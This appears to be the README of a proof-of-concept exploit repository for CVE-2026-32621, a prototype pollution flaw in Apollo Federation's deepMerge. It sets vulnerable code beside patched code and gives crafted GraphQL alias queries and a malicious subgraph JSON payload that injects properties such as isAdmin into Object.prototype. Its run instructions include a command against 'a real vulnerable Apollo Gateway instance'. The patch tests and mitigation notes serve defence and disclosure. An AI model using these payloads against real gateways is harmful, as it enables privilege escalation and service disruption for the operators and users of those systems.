
PoC exploit for CVE-2026-32621 demonstrating Apollo Federation deepMerge prototype pollution via crafted GraphQL aliases, with patched-version tests.
| Field | Value |
|---|
| CVE | CVE-2026-32621 |
| CVSS | 9.9 Critical |
| CWE | CWE-1321 (Prototype Pollution) |
| Affected | Apollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2 |
| Patched | 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 |
| GHSA | GHSA-pfjj-6f4p-rvmh |
Apollo Federation's deepMerge function (used in @apollo/query-planner and @apollo/gateway to merge subgraph responses during query plan execution) fails to sanitize keys before accessing target[key].
When a source object contains __proto__ as an own property (which JSON.parse creates), Object.keys() returns it, and target["__proto__"] resolves to Object.prototype via the prototype chain. The merge then writes properties directly onto Object.prototype, polluting the global prototype chain for the entire Node.js process.
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]); // target["__proto__"] = Object.prototype!
} else {
target[key] = source[key]; // Direct assignment to prototype
}
}
// PATCHED (post-patch)
for (const key of Object.keys(source)) {
defineOwn(target, key); // <-- Fix: shadows prototype property with own property
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]);
}
}
A client sends a GraphQL query with field aliases named __proto__, constructor, or prototype. When the gateway processes the response, deepMerge uses these aliases as keys, polluting Object.prototype.
query {
__proto__: products {
polluted: id
}
}
A compromised subgraph returns JSON with __proto__ keys. When the gateway merges the response via deepMerge, Object.prototype is polluted.
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}
query {
constructor: products {
prototype: id
}
}
isAdmin, role, permissions propertiestoString, valueOf with null/broken functions
Document Content USAGE.md Detailed usage guide with step-by-step instructions DIAGRAM.md Structure diagrams and attack flow visualization
| File | Purpose |
|------|---------| |
exploit.js| Main exploit with 5 attack vectors + local demonstration | |test_exploit.js| Unit tests (15 tests validating pollution and patch) | |e2e_test.js| End-to-end validation (10 tests: gateway + exploit + verify) | |setup_vulnerable.js| Vulnerable gateway simulator for testing |
# Run the local deepMerge vulnerability demonstration
node exploit.js
This demonstrates the exact vulnerable code path without needing a running gateway.
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000
# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql
# Unit tests (15 tests)
node test_exploit.js
# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql
======================================================================
CVE-2026-32621 - Apollo Federation Prototype Pollution
CVSS 9.9 Critical | CWE-1321
Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================
======================================================================
Direct deepMerge Vulnerability Demonstration
(Reproduces the exact vulnerable code path)
======================================================================
[Test 1] __proto__ pollution via JSON.parse source
Source keys: __proto__
source.__proto__ is own property: true
VULNERABLE: Object.prototype.polluted_test1 = true
PATCHED: Object.prototype.polluted_test1 = undefined
[Test 2] constructor.prototype pollution
VULNERABLE: Object.prototype.polluted_test2 = true
PATCHED: Object.prototype.polluted_test2 = undefined
--------------------------------------------------
RESULTS SUMMARY
--------------------------------------------------
[VULNERABLE] __proto__ via JSON.parse
[SAFE] __proto__ via JSON.parse (patched)
[VULNERABLE] constructor.prototype
[SAFE] constructor.prototype (patched)
Client Apollo Gateway Subgraph
│ │ │
│ GraphQL query │ │
│ with __proto__ │ │
│ field alias │ │
│ ────────────────► │ Forward query │
│ │ ──────────────────────► │
│ │ │
│ │ JSON response with │
│ │ __proto__ as own prop │
│ │ ◄────────────────────── │
│ │ │
│ │ deepMerge() called │
│ │ target["__proto__"] │
│ │ → Object.prototype │
│ │ ⚠ POLLUTED! │
│ │ │
│ 200 OK │ │
│ polluted: true │ │
│ ◄──────────────── │ │
│ │ │
│ ALL subsequent requests inherit polluted │
│ properties (isAdmin, polluted, etc.) │
See DIAGRAM.md for full architecture diagrams.
__proto__, constructor, prototype in field aliases and variable namesMIT